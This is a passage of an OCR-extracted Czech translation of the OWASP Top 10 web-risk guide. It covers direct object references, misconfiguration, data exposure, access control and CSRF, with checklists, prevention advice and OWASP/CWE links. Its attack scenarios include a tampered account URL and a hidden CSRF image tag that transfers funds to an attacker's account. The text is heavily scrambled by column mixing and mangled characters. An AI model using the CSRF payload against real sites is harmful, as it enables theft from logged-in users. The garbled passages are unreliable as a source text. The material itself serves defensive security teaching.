* OWASP Code Review Guide: Chapter on XSS Review

* OWASP XSS Filter Evasion Cheat Sheet
Externi

* CWE Entry 79 on Cross-Site Scripting
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https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
https://www.owasp.org/index.php/Content_Security_Policy
https://www.owasp.org/index.php/Content_Security_Policy
https://www.owasp.org/index.php/Content_Security_Policy

objekty

Nezabezpecené primé odkazy na

Vektor - Bezpetnostni o ... L. Technické g..l. o Obchodni
Pravodci utoku slabina dopady dopady
hrozby ~
o e Rozsifeni Dopad Aplikaéni / obchodni
Aplikacni specifikum e STREDNI specifikum

Utoénik, ktery je
opravnénym uZivatelem
systému, jednoduse
zméni hodnotu
parametru, ktery pfimo
odkazuje na objekt
systému, na jiny objekt,
k némuz nemd mit
opravnéni. Je mu pristup J ukdze analyza kédu.
udélen?

Vezméte v Uvahu typy
uzivatel( v systému.
Nemaji mit néktefi
uZivatelé k urcitym
druhlm dat pouze
Castecny pristup?

Aplikace Casto pouZivaji pfi generovani (vytvareni)
webovych stranek skute¢ny nazev nebo kli¢
néjakého objektu. Ne vZidy ovéruji, Ze je uzivatel
opravnén pristupovat k cilovému objektu. To ma
za nasledek nezabezpeceny pFimy pfistup k objektu. J odkaz na objekt
Takovéto chyby mohou snadno odhalit testefi,
kdyZ budou manipulovat s hodnotami parametr(.
Zda jsou autorizace radné kontrolovany, rychle

Zvazte obchodni
hodnotu odhalenych dat.
Také zvazte obchodni
dopad zverejnéni
zranitelnosti.

Takové chyby mohou
ohrozit veskera data,
na ktera odkazuje
parametr. Pokud je

predvidatelny, utocnik
snadno ziska pfistup
ke vSem datiim tohoto
typu.

Jsem zranitelny?

Nejlepsi zplsob, jak zjistit, zda je aplikace je zranitelna vuci nezabezpeéenym
primym odkaziim na objekty, je ovéfit, zda v8echny odkazy na objekt maji
odpovidajici ochranu. K dosazeni tohoto cile vezméte v Uvahu:

1.  Vpfipadé pfimych odkazl ke zdrojim s omezenym pfistupem: ovéri
aplikace, Ze uZivatel je opravnén pristoupit presné k poZzadovanému
zdroji?

2. Pokud je odkaz nepfimy: omezi aplikace pfi mapovani na pfimé odkazy
pfistup aktualnimu uZivateli na hodnoty, k nimZ ma opravnéni?

Kontrola kodu (code review) aplikace mze rychle ovéfit, zda je pFistup
implementovan bezpecné. K identifikaci odkaz( na p¥imé zdroje

a k posouzeni, zda jsou bezpecné, je ucinné téz testovani. Automatizované
nastroje obvykle takovéto nedostatky nehledaji, protoze nejsou schopny

rozpoznat, jaky zdroj vyZzaduje ochranu, ani co je bezpecné nebo nebezpecné.

Priklady utocnych scénaru

Aplikace pouZiva neovérené udaje v dotazu SQL, ktery pristupuje
k informacim o uZivatelskych uctech:

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =
connection.prepareStatement(query, ... );

pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

Utoénik maze jednoduse ve svém prohlizec¢i zménit parametr 'acct' a odeslat
jakékoliv Cislo uctu. Pokud neni jeho pozadavek ovéren, mize utocnik ziskat
pristup nejen ke svému, ale k jakémukoliv Gctu.

http://example.com/app/accountinfo?acct=notmyacct

Jak tomu mohu predejit?

Prevence vyzaduje vhodny vybér metody ochrany kazdého objektu, ktery je
dostupny uZivatelim (nap¥. Cislo objektu nebo nazev souboru):

1. PouiZivejte nepfimé odkazy na objekty pro kazdého uZivatele nebo
relaci zvlast. Zabranite tim v pfistupu Gtoénikam, ktefi se zaméFuji
na neautorizované zdroje. Napfiklad misto databazového klice zdroje
pouZijte rozbalovaci seznam Sesti hodnot schvalenych pro aktualniho
uZivatele. K oznaceni hodnoty, kterou si uZivatel vybral, miZete pouZit
Cisla 1-6. Aplikace musi namapovat nepfimy odkaz specificky
pro uZivatele zpét na skutec¢ny databazovy kli¢ na serveru. V OWASP
ESAPI jsou uvedeny mapy odkazt jak pro sekvencni, tak pro libovolny
pFistup, a ty mohou vyvojéfi pouzit misto pfimych odkazu na objekt.

2. Zkontrolujte pfistup. Kazdé pouZziti pfimého odkazu na objekt
z nedlvéryhodného zdroje musi obsahovat kontrolu pfistupu a musi
zarucit, Ze uzivatel ma prava k poZadovanému objektu.

Odkazy
OWASP

* OWASP Top 10-2007 on Insecure Dir Object References

* ESAPI Access Reference Map API

* ESAPI Access Control API (Viz isAuthorizedForData(), isAuthorizedForFile(),
isAuthorizedForFunction())

Dalsi informace ohledné pozadavkl na kontrolu pfistupu viz ASVS
requirements area for Access Control (V4).

Externi

¢ CWE Entry 639 on Insecure Direct Object References

* CWE Entry 22 on Path Traversal (pfiklad Gtoku prfimym odkazem na objekt)



http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/AccessReferenceMap.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/639.html
http://cwe.mitre.org/data/definitions/22.html
https://www.owasp.org/index.php/ESAPI

Nezabezpecena konfigurace

R euee

Pravodci
hrozby

Aplikacni specifikum

Uvazte anonymni externi
utocniky i uZivatele

s vlastnimi ucty,

ktefi se mohou pokusit
kompromitovat systém.

Vektor
" Gtoku  pr

Bezpecnostni

slabina

Rozsifeni
BEZNE

Utoénik pistupuje

k vychozim uctim,
neouZivanym strankam,
neopravenym chybdam,
nechranénym souboriim

Nezabezpecena konfigurace se miZe objevit

na jakékoliv urovni aplikace véetné platformy,
webového serveru, aplikacniho serveru, databaze,
frameworku nebo vlastniho kédu. Na spravné
konfiguraci tohoto celého komplexu musi

us@ Technické g ., Obchodni
dopady dopady
Dopad Aplikaéni / obchodni
STREDN{ specifikum

Takovéto zranitelnosti
Casto poskytuji
utocnikovi
neautorizovany pfistup
k nékterym datdim

Systém mUZe byt zcela
kompromitovan,

aniz byste o tom védéli.
Mohou byt ukradena
nebo postupné ménéna

Také vezméte v Uvahu vSechna vase data.

a adresafiim atd.,

spolupracovat vyvojafi a spravci systému. Pro detek- J§ nebo funkcim systému.

aplikace znalé osoby, aby ziskal neopravnény [ ci chybégjicich zaplat, chybné konfigurace, vychozich [ Mohou pfipadné vést Naklady spojené )
které chtéji zakryt pfistup nebo informace | G¢td, nepotiebnych sluzeb atd. jsou vhodné i k naprosté kompromi- [ $ oano’vou mohou byt
znacné.

své Ciny. o systému. automatizované skenery. taci systému.

Jak tomu mohu predejit?

Hlavnim doporucenim je realizovat vSechny nésledujici body:

Opakovany proces posilovani bezpecénosti, ktery umozni rychlé

a snadné nasazeni jiného, fadné zabezpeceného prostredi. Prostredi
pro vyvoj, QA a produkci by méla byt nakonfigurovana shodné

(s rGznymi hesly v kazdém prostredi). Tento proces by mél byt
automatizovany, aby se minimalizovalo Usili potfebné k nastaveni
nového bezpecného prostredi.

Proces pro vcasné nasazeni vSech novych softwarovych aktualizaci

a oprav v kazdém prostiedi. To samé nutné plati také pro vSsechny
knihovny (viz novy bod A9).

Jsem zranitelny vici utoku?

Nechybi vasi aplikaci fadné zabezpedeni nékteré ¢asti zasobniku aplikace?
To mj. znamena: 1.
1.  Neni néktery vas software zastaraly? Napfiklad OS, webovy
nebo aplikacni server, databédzovy systém, aplikace a vSechny potiebné
knihovny (viz novy bod A9)?
2. Nejsou povoleny nebo nainstalovany nékteré nepotrebné funkce
(napf. porty, sluzby, stranky, ucty, opravnéni)?
3. Nejsou vychozi Ucty a jejich hesla stale funkéni a beze zmény? 2.
4.  Neodhaluje uZivateli zpracovani chyb vypis zasobniku nebo jina pfilis
informativni chybova hlaseni?

5.  Nejsou bezpecnostni nastaveni ve vasem vyvojarském frameworku 3.  Silnou architekturu aplikace, ktera poskytuje Gc¢inné, bezpeéné oddéleni
(napf. Struts, Spring, ASP.NET) a knihovnach nastavena na nebezpecné komponent.
hodnoty? 4.  Zvaite pravidelna skenovani a audity, kterd mohou odhalit budouci

Bez sehraného, opakovatelného procesu zabezpeceni konfigurace aplikace
jsou systémy vystaveny vy$simu riziku.

chybné konfigurace nebo chybéjici zaplaty.

Odkazy
OWASP

* OWASP Development Guide: Chapter on Configuration

N4 4 4 4 Vé 7 v O
Priklady Utocnych scénaru
Scénar #1: Neodstrani se automaticky nainstalovana administratorska
konzole aplika¢niho serveru. Nezméni se vychozi Gcty. Utoénik zjisti,
Ze na vasem serveru jsou standardni administratorské stranky,
prihlasi se s vychozimi hesly a prebere nad serverem kontrolu.

* OWASP Code Review Guide: Chapter on Error Handling

Scénar #2: Na vasem serveru neni zakazan vypis adresard. Utocnik zjisti,
7e mize jednoduse vypsat adresére a najit jakykoli soubor. Utoénik najde
a stahne vSechny vase zkompilované ttidy Java, ty dekompiluje a pomoci
reverzniho inZenyrstvi ziska viechen vas kod. Poté ve vasi aplikaci najde
vaznou chybu fizeni pfistupu.

* OWASP Testing Guide: Configuration Management

* OWASP Testing Guide: Testing for Error Codes

* OWASP Top 10 2004 - Insecure Configuration Management

Dalsi pozadavky v této oblasti miZete najit v ASVS requirements
area for Security Configuration (V12).

Externi

Scénar #3: Konfigurace aplika¢niho serveru umoziiuje vypsat zasobnik,
a odhalit tak uZivateli pfipadné skryté nedostatky. Utoénici maji radi,
kdyZz mohou z chybovych hldseni ziskat dalsi informace.

Scénar #4: Aplikacni server je dodavan s ukazkovymi aplikacemi,

a ty se neodstrani z produkéniho serveru. Ukazkové aplikace maji dobie
zndmé bezpecnostni chyby, které mohou utocnici pouzit k ohrozeni vaseho
serveru.

* PC Magazine Article on Web Server Hardening

¢ CWE Entry 2 on Environmental Security Flaws

* CIS Security Configuration Guides/Benchmarks



http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
https://www.owasp.org/index.php/Configuration
https://www.owasp.org/index.php/Error_Handling
https://www.owasp.org/index.php/Testing_for_configuration_management
https://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006)
https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://www.pcmag.com/article2/0,2817,11525,00.asp
http://cwe.mitre.org/data/definitions/2.html
http://benchmarks.cisecurity.org/downloads/benchmarks/

Expozice citlivych dat
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2@ V,ektor C A ERERRRT ) BezPe{:nOStm’ [ AN RRRRER BN ] Technické @un Obchodni
Pravodci utoku slabina dopady dopady
hrozby Y
Aplikaéni specifikum Zneutitelnost Rozsiteni Zjistitelnost Aplikaéni / obchodni
P P OBTIZNA VZACNE PRUMERNA specifikum

Zvazte, kdo muze ziskat
pristup k citlivym datim
a pfipadnym zadloham
téchto dat. Jednd se

o data v klidu,
presouvana data i data
v prohlizecich zdkaznik.
OhroZeni mUZze pfijit
zvenku i zevnitf.

Utoénici obvykle pfimo
neprolomi Sifrovana
data. Délaji néco jiného,
naptiklad kradou klice,
pouzivaji utoky typu
man-in-the-middle,
nebo kradou nesifrovand
data ze serveru, at uz bé-
hem prenosu,

Nejcastéjsi chybou prosté je, pokud nejsou citliva
data $ifrovana. Casté je generovani a sprava slabych
Sifrovacich kli¢d a a pouzivéni slabych algoritm,
zvlasté pak slabych technik hashovéni hesla. Velmi
Casté a snadno odhalitelné jsou slabiny prohlizece,
avsak takové nedostatky jsou tézko vyuZitelné

ve velkém meéfitku. Zjisténi nedostatk( na strané
serveru je pro externi Uto¢niky obtizné kvuli
omezenému pfistupu a tyto chyby jsou také obvykle

Chyba casto ohroZuje
veskeré Udaje, které by
mély byt chranéné.
Obvykle se jednd

o informace, které obsa-
huji citlivé udaje,

jako jsou zdravotni
zdznamy, povéreni,
osobni Udaje, kreditni

Zvazte obchodni
hodnotu ztracenych dat
a dopad na svou povést.
Jakou nesete pravni
odpovédnost, pokud jsou
tato data nechranéna?
Také zvazte poskozeni
své poveésti.

nebo z prohlizece tézko zneuzitelné.

uzivatele.

karty, atd.

Jsem zranitelny vici expozici dat?

Prvni véc, kterou musite zjistit, je, kterd data kvali své citlivosti vyZzaduji

Jak tomu mohu predejit?

Vsechna rizika nezabezpecné kryptografie, pouzivani SSL a ochrany dat jsou

zvlastni ochranu. Napfiklad hesla, ¢isla kreditnich karet, zdravotni zaznamy nad rdmec Top 10. To znameng, Ze byste pro vSechna citliva data méli udélat

a osobni Udaje by chrdnény byt mély. Pro vSechny tyto udaje zkontrolujte: pfinejmensim toto:

1.  Nejsou nékterd z téchto dat, pocitaje v to také zalohy, dlouhodobé 1.  Vzhledem k mife ohroZeni planujte chranit tato data, ujistéte se,
uloZena jako prosty text? Ze Sifrujete vSechna citliva data, ktera jsou v klidu i ktera se presouvaji,

2. Nejsou néktera z téchto dat interné nebo externé prenasena a to zpusobem, ktery je chrani proti témto hrozbam.

jako prosty text? Zvlasté nebezpecny je internetovy provoz. 2.  Citliva data neukladejte zbytecné. Co nejdrive je zlikvidujte. Data tak
3. Nepouzivaji se zastaralé nebo slabé kryptografické algoritmy? nemohou byt ukradena.
4.  Negeneruji se slabé Sifrovaci klice? Nechybi dostatecna sprava 3. Zajistéte pouzivani silnych standardnich algoritm, silnych kli¢t

nebo rotace klict?
5.  Nechybi nejakd bezpecnostni direktiva nebo hlavicky, kdyz se citliva

a radnou spravu kli¢h. Zvazte poufziti FIPS 140 validovanych
kryptografickych moduld.

data posilaji prohlizeci? 4.  Zajistéte ukladani hesel pomoci algoritmd, které jsou specialné
A tak dale ... vice informaci o této problematice viz ASVS areas navrzeny pro ochranu hesel, jako je bcrypt, PBKDF2 nebo scrypt.
Crypto (V7), Data Prot. (V9), a SSL (V10). 5.  ZakaZte automatické doplrovani (autocomplete) ve formulafich,

které sbiraji citlivd data a zakazte keSovani stranek, které obsahuji
citliva data.

Priklady utocnych scénaru

Scénar #1: Aplikace, ktera Sifruje Cisla kreditnich karet v databazi, pouziva
automatické Sifrovani databaze. To oviem znameng, Ze i automaticky tato
data desifruje pfi jejich nacitani, takze v pfipadé SQL injection je mozné ziskat
¢isla kreditnich karet jako prosty text. Systém by mél mit ¢isla kreditnich
karet Sifrovand pomoci verejného klice a pouze backendové aplikace by mély
mit povoleno tato data desifrovat pomoci soukromého klice.

Odkazy

OWASP- Uplnéjéi seznam pozadavku viz v ASVS req’ts on Cryptography
(V7), Data Protection (V9) a Communications Security (V10)

* OWASP Cryptographic Storage Cheat Sheet

* OWASP Password Storage Cheat Sheet

* OWASP Transport Layer Protection Cheat Sheet

Scénar #2: Webové stranky prosté nepouZivaji SSL pro vSechny autentizované
stranky. Uto¢nik jednoduge monitoruje provoz v siti (jako oteviené
bezdratové sité) a ukradne cookie relace uzivatele. Utoénik pak pouzije tuto
cookie, unese uZivatelovu relaci a ziskd pfistup k jeho soukromym dattim

* OWASP Testing Guide: Chapter on SSL/TLS Testing

Externi

¢ CWE Entry 310 on Cryptographic Issues

Scénar #3: Databaze hesel pouzivd pro ukladani viech hesel nesolené hashe.
Chyba v uploadu souboru umoziuje utocnikovi ziskat soubor s hesly.
Vsechny nesolené hashe mohou byt odkryty pomoci tzv. duhové tabulky
predpocitanych hashd.

* CWE Entry 312 on Cleartext Storage of Sensitive Information

¢ CWE Entry 319 on Cleartext Transmission of Sensitive Information

¢ CWE Entry 326 on Weak Encryption



https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_SSL-TLS
https://www.owasp.org/index.php/Testing_for_SSL-TLS
https://www.owasp.org/index.php/Testing_for_SSL-TLS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/326.html
http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/140val-all.htm
http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/140val-all.htm
http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/140val-all.htm
http://en.wikipedia.org/wiki/Bcrypt
http://en.wikipedia.org/wiki/PBKDF2
http://en.wikipedia.org/wiki/Scrypt

A7

Chyby v Fizeni Grovni pristupu

R euee

Pravodci
hrozby

Aplikacni specifikum

Vsichni, kdo maji pfistup
do sité, mohou zaslat
vasi aplikaci poZadavek.
Nem(zZe se anonymni
uZivatel dostat

k neverejné funkcionalité
nebo ovéreny uzivatel

k funkcim, k nimz nema

Vektor

B Gtoku

Utoénik, ktery je ové-
fenym uZivatelem sys-
tému, mudZe upravit URL
Ci parametr, a dostat se
tak k privilegovanym
funkcim. Je mu pfistup
umoznén? Anonymni
uZivatelé se mohou

smmnnn@ BEZPEéI’IOStnI' @uunnnnnass Technické @un Obchodni
slabina dopady dopady
Rozsiteni Zjistitelnost Dopad Aplikaéni / obchodni
BEZNE PRUMERNA STREDN{ specifikum

Ne vzdy chrani aplikace své funkce spravné. Nékdy je
uroven ochrany funkci fizena nastavenim, oviem
systém je nastaven nespravné. Jindy vyvojari
zapomenou udélat dostate¢nou kontrolu kédu.

Detekovani takovéhoto nedostatku pfitom neni
tézké — nejnarocCnéjsi je urcit, které stranky (URL)
a funkce jsou napadnutelné.

Tento druh zranitelnosti
umoziuje utocnikovi
ziskat neopravnény
pfistup k funkcionalité.
Ustfednim cilem
takovéhoto Utoku jsou
administratorské funkce.

Zvaite hodnotu
jednotlivych funkci a dat
jimi zpracovdvanych.

Také zvazte vliv na svou
povést, pokud se tato
zranitelnost dostane

na verejnost.

opravnéni? dostat k neverejnym
funkcim, které nejsou

zabezpeceny.

Jsem zranitelny?

Nejlepsim zplsobem, jak zjistit, zda aplikace spravné omezuje pfistup

k jednotlivym funkcim, je ovéfit kazdou funkci aplikace:

1.  Nezobrazuje uZivatelské rozhrani pfistup k neopravnénym funkcim?

2. Nechybi na strané serveru autentiza¢ni nebo autorizacni kontroly?

3. Nespoléhaji kontroly na strané serveru pouze na informace poskytnuté
utoénikem?

Prohlédnéte si aplikaci s privilegovanymi pravy pomoci proxy. Nasledné opét

navstivte stranku s pouzitim omezenych prav. Pokud jsou si odpovédi serveru

podobné, server je pravdépodobné zranitelny. Tento druh analyzy nékteré

testovaci proxy primo podporuji.

Na implementaci fizeni pfistupu se miZete podivat také v kédu. Zkuste

v kédu sledovat jeden privilegovany pozadavek a zkontrolovat autorizacni

mechanizmus. Nasledné projdéte cely kdd a zjistéte, kde nebyl tento

mechanismus dodrzen.

Tato chyba se hledd automatickymi nastroji jen stézi.

Priklady utocnych scénaru

Scénar #1: Utoénik v prohlizedi zada cilové URL. Toto URL vyZaduje
autentizaci. Pro pfistup ke strance ,,admin_getappinfo” jsou poZadovana
administratorska prava.

http://example.com/app/getappinfo
http://example.com/app/admin_getapplinfo

Pokud muZe pfistoupit k jedné z téchto stranek neautentizovany uZivatel,
jedna se o zranitelnost. Pokud muze pfistoupit ke strance
“admin_getapplnfo” autentizovany uZivatel, ktery vSak neni
administratorem, jednd se také o zranitelnost, a ta mGze dovést Utocnika
na jesté nedostatecnéji chranéné administratorské stranky.

Scénar #2: Stranka obsahuje parametr ,,akce, ktery urcuje volanou
funkénost. Rizné akce vyZzaduji rizné uzivatelské role, a pokud aplikace
poufiti roli nevynucuje, je to chyba.

Jak tomu mohu predejit?

Aplikace by méla mit konzistentni a jednoduse analyzovatelny autorizaéni
modul, ktery budou pouZivat vsechny funkce. Takovou ochranu ¢asto
poskytuji externi doplriky.

1. Zamyslete se nad procesem spravy opravnéni a zajistéte, aby byla
jednoduse aktualizovatelna a provéfitelnd. Nevpisujte opravnéni pfimo
do kédu.

2. Autorizaéni mechanismus by mél implicitné odmitnout vSechny
pistupy a kazdou funkci by mél povolit jenom vyjmenovanym
uZivatelskym rolim.

3. Pokud je funkce soucasti pracovniho postupu, ujistéte se, ze podminky
umoziujici pristup jsou nastaveny spravné.

Poznamka: Vétsina webovych aplikaci sice nezobrazuje odkazy ani tlacitka

pro pfistup k privilegovanym funkcim, ale toto ,fizeni pfistupu na drovni

vzhledu” ochranu ve skutec¢nosti nezajisti. Kontroly je potfeba
implementovat rovnéz v fidicich prvcich a v logice ¢innosti firmy.

Odkazy
OWASP

* OWASP Top 10-2007 on Failure to Restrict URL Access

* ESAPI Access Control API

* OWASP Development Guide: Chapter on Authorization

* OWASP Testing Guide: Testing for Path Traversal

* OWASP Article on Forced Browsing

Dalsi pozadavky na fizeni pfistupu viz v ASVS requirements
area for Access Control (V4).

Externi

¢ CWE Entry 285 on Improper Access Control (Authorization)



http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
https://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
https://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
https://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
https://www.owasp.org/index.php/Guide_to_Authorization
https://www.owasp.org/index.php/Testing_for_Path_Traversal
https://www.owasp.org/index.php/Forced_browsing
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/285.html

Cross-Site Request Forgery
(CSRF)
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Aplikaéni specifikum Zneuzitelnost Rozsifeni Dopad Aplikaéni / obchodni
P P PRUMERNA BEZNE STREDNI specifikum
Utognik maze podstréit Utognik vytvoFi CSRF vyuZziva skutecnosti, Ze vétsina webovych Utoénik maze primét Zvaite obchodni
obsah do prohlizece podvrzeny pozadavek aplikaci umoZiuje atoc¢niktim, aby odvodili obét, aby provedla hodnotu dotéenych dat
uZivatele stranek, a tim HTTP a rGznymi podrobnosti jednotlivych akci. zmény stavu, k nim? je a funkci aplikace. V pfi-
bez jeho védomi zaslat podvodnymi technikami | Vzhledem k tomu, Ze prohliZec zasild automaticky opravnéna, napt. aktual- J| padé Utoku si nemuzete
pozadavek na webovy (obrazkové znagky, XSS nékteré identifikacni Udaje, napf. cookies relace, izace stavu G¢tu, nakup, byt jisti, zda uZivatel
server. Miize jit o kterou- [ aj.) ho piedloi obéti. Uto¢nik mazZe vytvorit stranku schopnou generovat odhldseni, ba i pfihla- provedené akce zamyslel
koli webovou stranku Pokud je usivatel podvrZené pozadavky, které jsou k nerozeznani seni. udélat.
nebo jiny zdroj webo- v aplikaci pfihlagen, Gtok [ ©d téch opravnénych. Zvaite take dopad
vého obsahu, ke kterému [ se zdafi. Detekce CSRF je pomérné snadnd, a to pomoci na svou poveést.
ma usivatel F;Fistup penetracnich testl nebo analyzou kédu.
. 4 O Ve 4 ors
Jsem zranitelny vuci CSRF? Jak mohu predejit CSRF?

Aplikace je napadnutelna, pokud v nékterém odkazu nebo formulati chybi
token CSRF, ktery nelze odhadnout. Bez néj mze utoénik podsunout skodlivy
dotaz na stranku. Jako alternativni ochranu mudzete od uZivatele pozadovat
ovéreni, Ze opravdu zamyslel dotaz odeslat, napf. opétovné zadani hesla

Prevence CSRF obvykle spociva v zaclenéni nepredvidatelného tokenu
do kazdého pozadavku HTTP. Unikatni token by méla mit pfinejmensim
kazdd uZivatelska relace.

nebo jiny zpdsob, kterym prokdze, Ze je skuteCnym uZivatelem (CAPTCHA 1. Upfednostiiovanym zplisobem je vloZit unikatni token do skrytého
apod.). pole, které se pak odesle v téle poZzadavku HTTP. Token tak nebude
Zamérte se na odkazy a formulare slouzici k provedeni zmén stavu —ty jsou sougasti URL, kde by bylo vétsi riziko jeho odhaleni Gtognikem.
nejdulezitéjsim cilem Gtoku CSRF.

Zkontrolujte vicekrokové operace, protoze ty jsou ohrozeny ze své podstaty. 2. Unikatni token miZe byt také obsaZen v samotném URL

Utoénici mohou snadno podstréit celou Fadu pozadavkd pousitim vice tag nebo v parametru URL, coZ ovSem zvySuje riziko, Ze kdyzZ utognik zjisti
nebo prostfednictvim JavaScriptu. URL, token bude prozrazen.

Je nutno poznamenat, Ze cookies relace, zdrojova adresa IP a dalsi informace CSRF Guard od OWASP muZe automaticky vloZit tyto tokeny
automaticky zasilané prohlize¢em neposkytuji ochranu proti CSRF, do aplikaci v Java EE, .NET nebo PHP. ESAP| od OWASPu obsahuje
protoZze se mohou vyskytovat i v podvrzenych dotazech. metody, které mohou vyvojafi pouZit na obranu proti CSRF.

Nastrojem CSRF Tester od OWASPu si mUiZete vygenerovat testové pripady,

pomoci nich? uvidite nebezpeti spojend se zranitelnosti CSRF. 3. Proti CSRF muZe také ochranit pozadovani opétovné autentizace

nebo jiného zplisobu ovéreni, Ze uZivatel je skute¢ny (napt¥. CAPTCHA).

Priklady utocnych scénaru Odkazy

Aplikace umozni uZivateli zaslat poZadavek na zménu stavu, ktery neobsa- OWASP

huje Zadné citlivé informace. Napfiklad: .
* OWASP CSRF Article

http://example.com/app/transferFunds?amount=1500

&destinationAccount=4673243243 * OWASP CSRF Prevention Cheat Sheet

* OWASP CSRFGuard - CSRF Defense Tool

Utoénik podle néj vytvori pozadavek, ktery prevede penize z Uctu obéti
na svij ucet. Pak vloZi tento pozadavek na néjakou svou stranku « ESAPI Project Home Page
do pozadavku na obrazek nebo do iframu:

* ESAPI HTTPUTtilities Class with AntiCSRF Tokens

<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#* * OWASP Testing Guide: Chapter on CSRF Testing
width="0" height="0" />

* OWASP CSRFTester - CSRF Testing Tool

Kdyz obét navstivi jednu z téchto Uto¢nikovych stranek, podvrzeny

pozadavek se odesle, a pokud bude obét zaroven pfihlasena k example.com, Externi

bude poZadavek automaticky obsahovat informace o relaci obéti, ¢imz bude

autorizovan. * CWE Entry 352 on CSRF



https://www.owasp.org/index.php/CSRF
https://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/HTTPUtilities.html
https://www.owasp.org/index.php/Testing_for_CSRF_(OWASP-SM-005)
https://www.owasp.org/index.php/CSRFTester
https://www.owasp.org/index.php/CSRFTester
https://www.owasp.org/index.php/CSRFTester
https://www.owasp.org/index.php/CSRFTester
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/352.html
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/ESAPI

komponent

Pouziti znamych zranitelnych

% @=unshe0 V’ektor S elinnnnse Bezpet":_nostni @esnnnnnufsg Technické ¢..k. @ Obchodni
Pravodci utoku . slabina dopady dopady
hrozby D —
Aplikaéni specifikum Zneutitelnost Zjistitelnost Dopad Aplikaéni / obchodni
P P PRUMERNA OBTIZNA STREDNI specifikum

Utoénik zjisti automa-
tickym skenovanim nebo
pfi ruénim prochazeni
stranek slabou kompo-
nentu. Utok pfizpGsobi
nalezené zranitelnosti

a pak ho provede. Cim je
zranitelna komponenta
hloubéji v aplikaci, tim je
utok obtiznéjsi.

Nékteré zranitelné
komponenty (napf.
knihovny) mohou byt
identifikovany a zneu-
Zity automatickymi na-
stroji. Skupina uto¢nikd
se tim rozsifuje ze za-
mérnych Utoénikd také
o aktéry, ktefi jednaji
nahodné.

Tyto nedostatky ma mnoho aplikaci, protoze vyvojafi | Mohou se vyskytnout
nevénuji dostate¢nou pozornost tomu, jestli jsou
jejich komponenty a knihovny aktualni. V mnoha
pfipadech vyvojafi ani nevédi, jaké komponenty
vyuzivaji, tim méné znaji jejich verze. Situaci jesté
zhorsuji zavislosti mezi jednotlivymi komponentami.

Je potreba zvazit,

jaky dopad muze kazda
zranitelnost mit

na ¢innost vasi organiza-
ce, kterou zajistuje
napadend aplikace.
MiZe byt nevyznamna,
nebo naopak muze
znamenat naprostou
kompromitaci.

jakékoli zranitelnosti,
napf. injektovani,
prolomeni pfistupu

do aplikace, XSS atd. Do-
pad se pak pohybuje

od minimalniho

aZ po uplné prevzeti
kontroly nad hostitelem
a kompromitaci dat.

Jsem zranitelny?

Teoreticky by mélo byt jednoduché zjistit, jestli néjakou zranitelnou
